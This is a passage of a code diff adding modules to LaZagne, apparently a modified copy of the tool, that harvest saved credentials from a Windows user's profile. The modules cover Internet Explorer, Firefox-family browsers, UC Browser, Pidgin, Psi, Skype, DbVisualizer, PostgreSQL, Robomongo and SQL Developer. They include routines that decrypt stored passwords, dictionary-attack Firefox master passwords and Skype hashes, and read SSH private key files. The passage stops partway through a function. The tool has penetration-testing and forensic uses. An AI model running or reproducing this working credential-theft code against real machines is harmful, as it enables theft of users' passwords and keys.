info.wShowWindow = SW_HIDE
p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE,
stdin=subprocess.PIPE, universal_newlines=True)
results, _ = p.communicate()
urls = []
for r in results.split('\n'):
if r.startswith('http'):
urls.append(r.strip())
return urls
def history_from_regedit(self):
urls = []
try:
hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs')
except Exception:
self.debug(traceback.format_exc())
return []
num = winreg.QueryInfoKey(hkey)[1]
for x in range(0, num):
k = winreg.EnumValue(hkey, x)
if k:
urls.append(k[1])
winreg.CloseKey(hkey)
return urls
def decipher_password(self, cipher_text, u):
pwd_found = []
# deciper the password
pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user,
user_dpapi=constant.user_dpapi)
if not pwd:
return []
separator = b"\x00\x00"
if pwd.endswith(separator):
pwd = pwd[: -len(separator)]
chunks_reversed = pwd.rsplit(separator)[::-1] # <pwd_n>, <login_n>, ..., <pwd_0>, <login_0>, <SOME_SERVICE_DATA_CHUNKS>
# Filter out service data
possible_passwords = [x for n, x in enumerate(chunks_reversed) if n % 2 == 0]
possible_logins = [x for n, x in enumerate(chunks_reversed) if n % 2 == 1]
for possible_login, possible_password in zip(possible_logins, possible_passwords):
# Service data starts with several blocks of "<2_bytes>\x00\x00<10_bytes>"
if len(pwd_found) > 0 and len(possible_login) == 2 and len(possible_password) == 10:
break
try:
possible_login_str = possible_login.decode('UTF-16LE')
possible_password_str = possible_password.decode('UTF-16LE')
except UnicodeDecodeError:
if len(pwd_found) > 0:
# Some passwords have been found. Assume this is service data.
break
# No passwords have been found. Assume login or password contains some chars which could not be decoded
possible_login_str = str(possible_password)
possible_password_str = str(possible_password)
pwd_found.append({
'URL': u.decode('UTF-16LE'),
'Login': possible_login_str,
'Password': possible_password_str
})
return pwd_found
def run(self):
if float(win.get_os_version()) > 6.1:
self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)')
return
pwd_found = []
try:
hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2')
except Exception:
self.debug(traceback.format_exc())
else:
nb_site = 0
nb_pass_found = 0
# retrieve the urls from the history
hash_tables = self.get_hash_table()
num = winreg.QueryInfoKey(hkey)[1]
for x in range(0, num):
k = winreg.EnumValue(hkey, x)
if k:
nb_site += 1
for h in hash_tables:
# both hash are similar, we can decipher the password
if h[1] == k[0][:40].lower():
nb_pass_found += 1
cipher_text = k[1]
pwd_found += self.decipher_password(cipher_text, h[0])
break
winreg.CloseKey(hkey)
# manage errors
if nb_site > nb_pass_found:
self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the '
u'passwords has not been found' % str(nb_site - nb_pass_found))
return pwd_found

View File

@ -0,0 +1,576 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472)
# from https://github.com/lclevy/firepwd/blob/master/firepwd.py
import hmac
import json
import sqlite3
import struct
import sys
import traceback
import os
#from lazagne.config.module_info import ModuleInfo
from lazagne.config.crypto.pyDes import triple_des, CBC
from lazagne.config.crypto.pyaes import AESModeOfOperationCBC
from lazagne.config.dico import get_dic
from lazagne.config.constant import constant
from pyasn1.codec.der import decoder
from binascii import unhexlify
from base64 import b64decode
#from lazagne.config.winstructure import char_to_int, convert_to_byte
from hashlib import sha1, pbkdf2_hmac
import logging
try:
from ConfigParser import RawConfigParser # Python 2.7
except ImportError:
from configparser import RawConfigParser # Python 3
if sys.version_info[0]:
python_version = sys.version_info[0]
def l(n):
try:
return long(n)
except NameError:
return int(n)
CKA_ID = unhexlify('f8000000000000000000000000000001')
AES_BLOCK_SIZE = 16
def char_to_int(value):
return ord(value)
def convert_to_byte(mystring):
return bytes(mystring, 'utf-8')
def long_to_bytes(n, blocksize=0):
"""long_to_bytes(n:long, blocksize:int) : string
Convert a long integer to a byte string.
If optional blocksize is given and greater than zero, pad the front of the
byte string with binary zeros so that the length is a multiple of
blocksize.
"""
# after much testing, this algorithm was deemed to be the fastest
s = convert_to_byte('')
n = l(n)
while n > 0:
s = struct.pack('>I', n & 0xffffffff) + s
n = n >> 32
# strip off leading zeros
for i in range(len(s)):
if s[i] != convert_to_byte('\000')[0]:
break
else:
# only happens when n == 0
s = convert_to_byte('\000')
i = 0
s = s[i:]
# add back some pad bytes. this could be done more efficiently w.r.t. the
# de-padding being done above, but sigh...
if blocksize > 0 and len(s) % blocksize:
s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s
return s
class Mozilla():
#Removing ModuleInfo reference to support on linux system
#
def __init__(self, browser_name, path,logger=logging):
self.path = path
self.logging=logger
#ModuleInfo.__init__(self, browser_name, category='browsers')
# Removing ModuleInfo reference to support on linux system
self.name = browser_name
self.category = 'browsers'
self.debug(f'Mozilla For {self.name} - {self.path}')
def error(self, message):
self.logging.error(message)
def info(self, message):
self.logging.info(message)
def debug(self, message):
self.logging.debug(message)
def warning(self, message):
self.logging.warning(message)
def get_firefox_profiles(self, directory):
"""
List all profiles
"""
cp = RawConfigParser()
profile_list = []
try:
cp.read(os.path.join(directory, 'profiles.ini'))
for section in cp.sections():
if section.startswith('Profile') and cp.has_option(section, 'Path'):
profile_path = None
if cp.has_option(section, 'IsRelative'):
if cp.get(section, 'IsRelative') == '1':
profile_path = os.path.join(directory, cp.get(section, 'Path').strip())
elif cp.get(section, 'IsRelative') == '0':
profile_path = cp.get(section, 'Path').strip()
else: # No "IsRelative" in profiles.ini
profile_path = os.path.join(directory, cp.get(section, 'Path').strip())
if profile_path:
#profile_path = profile_path.replace('/', '\\')
profile_list.append(profile_path)
except Exception as e:
self.error(u'An error occurred while reading profiles.ini: {}'.format(e))
return profile_list
def get_key(self, profile):
"""
Get main key used to encrypt all data (user / password).
Depending on the Firefox version, could be stored in key3.db or key4.db file.
"""
try:
row = None
# Remove error when file is empty
with open(os.path.join(profile, 'key4.db'), 'rb') as f:
content = f.read()
if content:
conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
c = conn.cursor()
# First check password
c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
try:
row = c.next() # Python 2
except Exception:
row = next(c) # Python 3
except Exception:
self.debug(traceback.format_exc())
else:
if row:
(global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row)
if global_salt:
try:
# Decrypt 3DES key to decrypt "logins.json" content
c.execute("SELECT a11,a102 FROM nssPrivate;")
for row in c:
if row[0]:
break
a11 = row[0] # CKA_VALUE
a102 = row[1] # f8000000000000000000000000000001, CKA_ID
if python_version == 2:
a102 = str(a102)
if a102 == CKA_ID:
# a11 : CKA_VALUE
# a102 : f8000000000000000000000000000001, CKA_ID
# self.print_asn1(a11, len(a11), 0)
# SEQUENCE {
# SEQUENCE {
# OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3
# SEQUENCE {
# OCTETSTRING entry_salt_for_3des_key
# INTEGER 01
# }
# }
# OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding)
# }
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
if key:
self.debug(u'key: {key}'.format(key=repr(key)))
yield key[:24]
# else:
# Nothing saved
except Exception:
self.debug(traceback.format_exc())
try:
key3_file = os.path.join(profile, 'key3.db')
if os.path.exists(key3_file):
key_data = self.read_bsddb(key3_file)
# Check masterpassword
(global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'',
key_data=key_data,
new_version=False)
if global_salt:
key = self.extract_secret_key(key_data=key_data,
global_salt=global_salt,
master_password=master_password,
entry_salt=entry_salt)
if key:
self.debug(u'key: {key}'.format(key=repr(key)))
yield key[:24]
except Exception:
self.debug(traceback.format_exc())
@staticmethod
def get_short_le(d, a):
return struct.unpack('<H', d[a:a + 2])[0]
@staticmethod
def get_long_be(d, a):
return struct.unpack('>L', d[a:a + 4])[0]
def print_asn1(self, d, l, rl):
"""
Used for debug
"""
type_ = char_to_int(d[0])
length = char_to_int(d[1])
if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html,
# nByteLength = length & 0x7f
length = char_to_int(d[2])
# Long form. Two to 127 octets. Bit 8 of first octet has value "1" and
# bits 7-1 give the number of additional length octets.
skip = 1
else:
skip = 0
if type_ == 0x30:
seq_len = length
read_len = 0
while seq_len > 0:
len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1)
seq_len = seq_len - len2
read_len = read_len + len2
return length + 2
elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER
return length + 2
elif length == l - 2:
self.print_asn1(d[2:], length, rl + 1)
return length
def read_bsddb(self, name):
"""
Extract records from a BSD DB 1.85, hash mode
Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used
"""
with open(name, 'rb') as f:
# http://download.oracle.com/berkeley-db/db.1.85.tar.gz
header = f.read(4 * 15)
magic = self.get_long_be(header, 0)
if magic != 0x61561:
self.warning(u'Bad magic number')
return False
version = self.get_long_be(header, 4)
if version != 2:
self.warning(u'Bad version !=2 (1.85)')
return False
pagesize = self.get_long_be(header, 12)
nkeys = self.get_long_be(header, 0x38)
readkeys = 0
page = 1
db1 = []
while readkeys < nkeys:
f.seek(pagesize * page)
offsets = f.read((nkeys + 1) * 4 + 2)
offset_vals = []
i = 0
nval = 0
val = 1
keys = 0
while nval != val:
keys += 1
key = self.get_short_le(offsets, 2 + i)
val = self.get_short_le(offsets, 4 + i)
nval = self.get_short_le(offsets, 8 + i)
offset_vals.append(key + pagesize * page)
offset_vals.append(val + pagesize * page)
readkeys += 1
i += 4
offset_vals.append(pagesize * (page + 1))
val_key = sorted(offset_vals)
for i in range(keys * 2):
f.seek(val_key[i])
data = f.read(val_key[i + 1] - val_key[i])
db1.append(data)
page += 1
db = {}
for i in range(0, len(db1), 2):
db[db1[i + 1]] = db1[i]
return db
@staticmethod
def decrypt_3des(decoded_item, master_password, global_salt):
"""
User master key is also encrypted (if provided, the master_password could be used to encrypt it)
"""
# See http://www.drh-consultancy.demon.co.uk/key3.html
pbeAlgo = str(decoded_item[0][0][0])
if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC
entry_salt = decoded_item[0][0][1][0].asOctets()
cipher_t = decoded_item[0][1].asOctets()
# See http://www.drh-consultancy.demon.co.uk/key3.html
hp = sha1(global_salt + master_password).digest()
pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt))
chp = sha1(hp + entry_salt).digest()
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
k = k1 + k2
iv = k[-8:]
key = k[:24]
return triple_des(key, CBC, iv).decrypt(cipher_t)
# New version
elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2
assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12'
assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9'
assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42'
# https://tools.ietf.org/html/rfc8018#page-23
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
iteration_count = int(decoded_item[0][0][1][0][1][1])
key_length = int(decoded_item[0][0][1][0][1][2])
assert key_length == 32
k = sha1(global_salt + master_password).digest()
key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length)
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets()
# 04 is OCTETSTRING, 0x0e is length == 14
encrypted_value = decoded_item[0][1].asOctets()
aes = AESModeOfOperationCBC(key, iv=iv)
cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE])
for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)])
return cleartxt
def extract_secret_key(self, key_data, global_salt, master_password, entry_salt):
if unhexlify('f8000000000000000000000000000001') not in key_data:
return None
priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')]
salt_len = char_to_int(priv_key_entry[1])
name_len = char_to_int(priv_key_entry[2])
priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:])
# data = priv_key_entry[3 + salt_len + name_len:]
# self.print_asn1(data, len(data), 0)
# See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt
priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt)
# self.print_asn1(priv_key, len(priv_key), 0)
priv_key_asn1 = decoder.decode(priv_key)
pr_key = priv_key_asn1[0][2].asOctets()
# self.print_asn1(pr_key, len(pr_key), 0)
pr_key_asn1 = decoder.decode(pr_key)
# id = pr_key_asn1[0][1]
key = long_to_bytes(pr_key_asn1[0][3])
return key
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode
# For login and password, keep :(key_id, iv, ciphertext)
return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets()
def get_login_data(self, profile):
"""
Get encrypted data (user / password) and host from the json or sqlite files
"""
logins = []
self.debug(f'PROFIL {profile}')
try:
conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite'))
c = conn.cursor()
c.execute('SELECT * FROM moz_logins;')
# Using sqlite3 database
for row in c:
enc_username = row[6]
enc_password = row[7]
logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1]))
return logins
except :#sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3
self.debug(f'Got sqlite Exception')
try:
logins_json = os.path.join(profile, 'logins.json')
if os.path.isfile(logins_json):
with open(logins_json) as f:
loginf = f.read()
if loginf:
json_logins = json.loads(loginf)
if 'logins' not in json_logins:
self.debug('No logins key in logins.json')
return logins
for row in json_logins['logins']:
enc_username = row['encryptedUsername']
enc_password = row['encryptedPassword']
self.debug(f'Found {enc_username} - {enc_password}')
logins.append((self.decode_login_data(enc_username),
self.decode_login_data(enc_password), row['hostname']))
self.debug(f'{logins}')
return logins
else:
self.debug(f'No loginf')
else:
self.debug(f'logins.json {logins_json} not found')
except Exception:
self.debug("Exception in GetLoign")
self.debug(traceback.format_exc())
return []
return logins
def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True):
"""
Check if a master password is set.
If so, try to find it using a dictionary attack
"""
(global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password,
key_data=key_data,
new_version=new_version)
if not global_salt:
self.info(u'Master Password is used !')
(global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data,
new_version=new_version)
if not master_password:
return '', '', ''
return global_salt, master_password, entry_salt
def is_master_password_correct(self, key_data, master_password=b'', new_version=True):
try:
entry_salt = b""
if not new_version:
# See http://www.drh-consultancy.demon.co.uk/key3.html
pwd_check = key_data.get(b'password-check')
if not pwd_check:
return '', '', ''
# Hope not breaking something (not tested for old version)
# entry_salt_len = char_to_int(pwd_check[1])
# entry_salt = pwd_check[3: 3 + entry_salt_len]
# encrypted_passwd = pwd_check[-16:]
global_salt = key_data[b'global-salt']
else:
global_salt = key_data[0] # Item1
item2 = key_data[1]
# self.print_asn1(item2, len(item2), 0)
# SEQUENCE {
# SEQUENCE {
# OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3
# SEQUENCE {
# OCTETSTRING entry_salt_for_passwd_check
# INTEGER 01
# }
# }
# OCTETSTRING encrypted_password_check
# }
decoded_item2 = decoder.decode(item2)
cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
if cleartext_data != convert_to_byte('password-check\x02\x02'):
return '', '', ''
return global_salt, master_password, entry_salt
except Exception:
self.debug(traceback.format_exc())
return '', '', ''
def brute_master_password(self, key_data, new_version=True):
"""
Try to find master_password doing a dictionary attack using the 500 most used passwords
"""
wordlist = constant.password_found + get_dic()
num_lines = (len(wordlist) - 1)
self.info(u'%d most used passwords !!! ' % num_lines)
for word in wordlist:
global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data,
master_password=word.strip(),
new_version=new_version)
if master_password:
self.info(u'Master password found: {}'.format(master_password))
return global_salt, master_password, entry_salt
self.warning(u'No password has been found using the default list')
return '', '', ''
def remove_padding(self, data):
"""
Remove PKCS#7 padding
"""
try:
nb = struct.unpack('B', data[-1])[0] # Python 2
except Exception:
nb = data[-1] # Python 3
try:
return data[:-nb]
except Exception:
self.debug(traceback.format_exc())
return data
def decrypt(self, key, iv, ciphertext):
"""
Decrypt ciphered data (user / password) using the key previously found
"""
data = triple_des(key, CBC, iv).decrypt(ciphertext)
return self.remove_padding(data)
def run(self):
"""
Main function
"""
pwd_found = []
self.path = self.path.format(**constant.profile)
if os.path.exists(self.path):
for profile in self.get_firefox_profiles(self.path):
self.debug(u'Profile path found: {profile}'.format(profile=profile))
credentials = self.get_login_data(profile)
if credentials:
for key in self.get_key(profile):
for user, passw, url in credentials:
self.debug(f'Will try to decode {user}, {passw}, {url}')
try:
pwd_found.append({
'URL': url,
'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode('utf-8'),
'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode('utf-8'),
})
except Exception:
self.debug(u'An error occured decrypting the password: {error}'.format(error=traceback.format_exc()))
else:
self.debug(f'Database empty - {profile}')
return pwd_found
# Name, path
firefox_browsers = [
(u'firefox', u'{APPDATA}\\Mozilla\\Firefox'),
(u'blackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'),
(u'cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'),
(u'comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'),
(u'k-Meleon', u'{APPDATA}\\K-Meleon'),
(u'icecat', u'{APPDATA}\\Mozilla\\icecat'),
]
#firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers]

View File

@ -0,0 +1,21 @@
# -*- coding: utf-8 -*-
import os
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
from lazagne.softwares.browsers.chromium_based import ChromiumBased
class UCBrowser(ChromiumBased):
def __init__(self):
self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins'
ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True)
def _get_database_dirs(self):
data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile)
try:
# UC Browser seems to have random characters appended to the User Data dir so we'll list them all
self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)]
except Exception:
self.paths = []
return ChromiumBased._get_database_dirs(self)

View File

View File

@ -0,0 +1,28 @@
# -*- coding: utf-8 -*-
import os
from xml.etree.cElementTree import ElementTree
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
class Pidgin(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'pidgin', 'chats')
def run(self):
path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml')
if os.path.exists(path):
tree = ElementTree(file=path)
root = tree.getroot()
pwd_found = []
for account in root.findall('account'):
name = account.find('name')
password = account.find('password')
if all((name, password)):
pwd_found.append({
'Login': name.text,
'Password': password.text
})
return pwd_found

View File

@ -0,0 +1,64 @@
# -*- coding: utf-8 -*-
import os
from xml.etree.cElementTree import ElementTree
from glob import glob
from itertools import cycle
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
from lazagne.config.winstructure import char_to_int
class PSI(ModuleInfo):
def __init__(self):
self.pwd_found = []
ModuleInfo.__init__(self, 'psi-im', 'chats')
def get_profiles_files(self):
_dirs = (
u'psi\\profiles\\*\\accounts.xml',
u'psi+\\profiles\\*\\accounts.xml',
)
for one_dir in _dirs:
_path = os.path.join(constant.profile['APPDATA'], one_dir)
accs_files = glob(_path)
for one_file in accs_files:
yield one_file
# Thanks to https://github.com/jose1711/psi-im-decrypt
def decode_password(self, password, jid):
result = ''
jid = cycle(jid)
for n1 in range(0, len(password), 4):
x = int(password[n1:n1 + 4], 16)
result += chr(x ^ char_to_int(next(jid)))
return result
def process_one_file(self, _path):
root = ElementTree(file=_path).getroot()
for item in root:
if item.tag == '{http://psi-im.org/options}accounts':
for acc in item:
values = {}
for x in acc:
if x.tag == '{http://psi-im.org/options}jid':
values['Login'] = x.text
elif x.tag == '{http://psi-im.org/options}password':
values['Password'] = x.text
values['Password'] = self.decode_password(values['Password'], values['Login'])
if values:
self.pwd_found.append(values)
def run(self):
for one_file in self.get_profiles_files():
self.process_one_file(one_file)
return self.pwd_found

View File

@ -0,0 +1,145 @@
# -*- coding: utf-8 -*-
import binascii
import hashlib
import os
import struct
from xml.etree.cElementTree import ElementTree
import lazagne.config.winstructure as win
from lazagne.config.constant import constant
from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
from lazagne.config.dico import get_dic
from lazagne.config.module_info import ModuleInfo
try:
import _winreg as winreg
except ImportError:
import winreg
class Skype(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True)
self.pwd_found = []
def aes_encrypt(self, message, passphrase):
iv = '\x00' * 16
aes = AESModeOfOperationCBC(passphrase, iv=iv)
return aes.encrypt(message)
# get value used to build the salt
def get_regkey(self):
try:
key_path = 'Software\\Skype\\ProtectedStorage'
try:
hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)
except Exception as e:
self.debug(str(e))
return False
# num = winreg.QueryInfoKey(hkey)[1]
k = winreg.EnumValue(hkey, 0)[1]
result_bytes = win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
return result_bytes.decode("utf-8")
except Exception as e:
self.debug(str(e))
return False
# get hash from lazagne.configuration file
def get_hash_credential(self, xml_file):
tree = ElementTree(file=xml_file)
encrypted_hash = tree.find('Lib/Account/Credentials3')
if encrypted_hash is not None:
return encrypted_hash.text
else:
return False
# decrypt hash to get the md5 to bruteforce
def get_md5_hash(self, enc_hex, key):
# convert hash from hex to binary
enc_binary = binascii.unhexlify(enc_hex)
# retrieve the salt
salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest()
# encrypt value used with the XOR operation
aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]
# XOR operation
decrypted = []
for d in range(16):
decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])
# cast the result byte
tmp = ''
for dec in decrypted:
tmp = tmp + struct.pack(">I", dec).strip('\x00')
# byte to hex
return binascii.hexlify(tmp)
def dictionary_attack(self, login, md5):
wordlist = constant.password_found + get_dic()
for word in wordlist:
hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest()
if hash_ == md5:
return word
return False
def get_username(self, path):
xml_file = os.path.join(path, u'shared.xml')
if os.path.exists(xml_file):
tree = ElementTree(file=xml_file)
username = tree.find('Lib/Account/Default')
try:
return win.string_to_unicode(username.text)
except Exception:
pass
return False
def get_info(self, key, username, path):
if os.path.exists(os.path.join(path, u'config.xml')):
values = {}
try:
values['Login'] = username
# get encrypted hash from the config file
enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml'))
if not enc_hex:
self.warning(u'No credential stored on the config.xml file.')
else:
# decrypt the hash to get the md5 to brue force
values['Hash'] = self.get_md5_hash(enc_hex, key)
values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n<password>'
# Try a dictionary attack on the hash
password = self.dictionary_attack(values['Login'], values['Hash'])
if password:
values['Password'] = password
self.pwd_found.append(values)
except Exception as e:
self.debug(str(e))
def run(self):
path = os.path.join(constant.profile['APPDATA'], u'Skype')
if os.path.exists(path):
# retrieve the key used to build the salt
key = self.get_regkey()
if not key:
self.error(u'The salt has not been retrieved')
else:
username = self.get_username(path)
if username:
d = os.path.join(path, username)
if os.path.exists(d):
self.get_info(key, username, d)
if not self.pwd_found:
for d in os.listdir(path):
self.get_info(key, d, os.path.join(path, d))
return self.pwd_found

View File

View File

@ -0,0 +1,79 @@
# -*- coding: utf-8 -*-
import array
import base64
import binascii
import hashlib
import os
import re
from xml.etree.cElementTree import ElementTree
from lazagne.config.constant import constant
from lazagne.config.crypto.pyDes import des, CBC
from lazagne.config.module_info import ModuleInfo
class Dbvisualizer(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, name='dbvis', category='databases')
self._salt = self.get_salt()
self._passphrase = 'qinda'
self._iteration = 10
def get_salt(self):
salt_array = [-114, 18, 57, -100, 7, 114, 111, 90]
salt = array.array('b', salt_array)
hexsalt = binascii.hexlify(salt)
return binascii.unhexlify(hexsalt)
def get_derived_key(self, password, salt, count):
key = bytearray(password) + salt
for i in range(count):
m = hashlib.md5(key)
key = m.digest()
return key[:8], key[8:]
def decrypt(self, msg):
enc_text = base64.b64decode(msg)
(dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
crypter = des(dk, CBC, iv)
text = crypter.decrypt(enc_text)
return re.sub(r'[\x01-\x08]', '', text)
def run(self):
path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml')
if os.path.exists(path):
tree = ElementTree(file=path)
pwd_found = []
elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'}
for e in tree.findall('Databases/Database'):
values = {}
for elem in elements:
try:
if elem != "Password":
values[elements[elem]] = e.find(elem).text
else:
values[elements[elem]] = self.decrypt(e.find(elem).text)
except Exception:
pass
try:
elem = e.find('UrlVariables')
for ee in elem.getchildren():
for ele in ee.getchildren():
if 'Server' == ele.attrib['UrlVariableName']:
values['Host'] = str(ele.text)
if 'Port' == ele.attrib['UrlVariableName']:
values['Port'] = str(ele.text)
if 'SID' == ele.attrib['UrlVariableName']:
values['SID'] = str(ele.text)
except Exception:
pass
if values:
pwd_found.append(values)
return pwd_found

View File

@ -0,0 +1,32 @@
# -*- coding: utf-8 -*-
import os
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
class PostgreSQL(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, name='postgresql', category='databases')
def run(self):
path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf')
if os.path.exists(path):
with open(path) as f:
pwd_found = []
for line in f.readlines():
try:
items = line.strip().split(':')
pwd_found.append({
'Hostname': items[0],
'Port': items[1],
'DB': items[2],
'Username': items[3],
'Password': items[4]
})
except Exception:
pass
return pwd_found

View File

@ -0,0 +1,101 @@
# -*- coding: utf-8 -*-
import json
import os
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
class Robomongo(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'robomongo', 'databases')
self.paths = [
{
'directory': u'.config/robomongo',
'filename': u'robomongo.json',
},
{
'directory': u'.3T/robo-3t/1.1.1',
'filename': u'robo3t.json',
}
]
def read_file_content(self, file_path):
"""
Read the content of a file
:param file_path: Path of the file to read.
:return: File content as string.
"""
content = ""
if os.path.isfile(file_path):
with open(file_path, 'r') as file_handle:
content = file_handle.read()
return content
def parse_json(self, connection_file_path):
repos_creds = []
if not os.path.exists(connection_file_path):
return repos_creds
with open(connection_file_path) as connection_file:
try:
connections_infos = json.load(connection_file)
except Exception:
return repos_creds
for connection in connections_infos.get("connections", []):
try:
creds = {
"Name": connection["connectionName"],
"Host": connection["serverHost"],
"Port": connection["serverPort"]
}
crd = connection["credentials"][0]
if crd.get("enabled"):
creds.update({
"AuthMode": "CREDENTIALS",
"DatabaseName": crd["databaseName"],
"AuthMechanism": crd["mechanism"],
"Login": crd["userName"],
"Password": crd["userPassword"]
})
else:
creds.update({
"Host": connection["ssh"]["host"],
"Port": connection["ssh"]["port"],
"Login": connection["ssh"]["userName"]
})
if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password":
creds.update({
"AuthMode": "SSH_CREDENTIALS",
"Password": connection["ssh"]["userPassword"]
})
else:
creds.update({
"AuthMode": "SSH_PRIVATE_KEY",
"Passphrase": connection["ssh"]["passphrase"],
"PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]),
"PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"])
})
repos_creds.append(creds)
except Exception as e:
self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e))
return repos_creds
def run(self):
"""
Extract all connection's credentials.
:return: List of dict in which one dict contains all information for a connection.
"""
pwd_found = []
for directory in self.paths:
connection_file_path = os.path.join(constant.profile['USERPROFILE'],
directory['directory'],
directory['filename'])
pwd_found.extend(self.parse_json(connection_file_path))
return pwd_found

View File

@ -0,0 +1,106 @@
# -*- coding: utf-8 -*-
import array
import base64
import binascii
import hashlib
import os
import re
from xml.etree.cElementTree import ElementTree
from lazagne.config.constant import constant
from lazagne.config.crypto.pyDes import des, CBC
from lazagne.config.module_info import ModuleInfo
class SQLDeveloper(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'sqldeveloper', 'databases')
self._salt = self.get_salt()
self._passphrase = None
self._iteration = 42
def get_salt(self):
salt_array = [5, 19, -103, 66, -109, 114, -24, -83]
salt = array.array('b', salt_array)
hexsalt = binascii.hexlify(salt)
return binascii.unhexlify(hexsalt)
def get_derived_key(self, password, salt, count):
key = bytearray(password) + salt
for i in range(count):
m = hashlib.md5(key)
key = m.digest()
return key[:8], key[8:]
def decrypt(self, msg):
enc_text = base64.b64decode(msg)
(dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
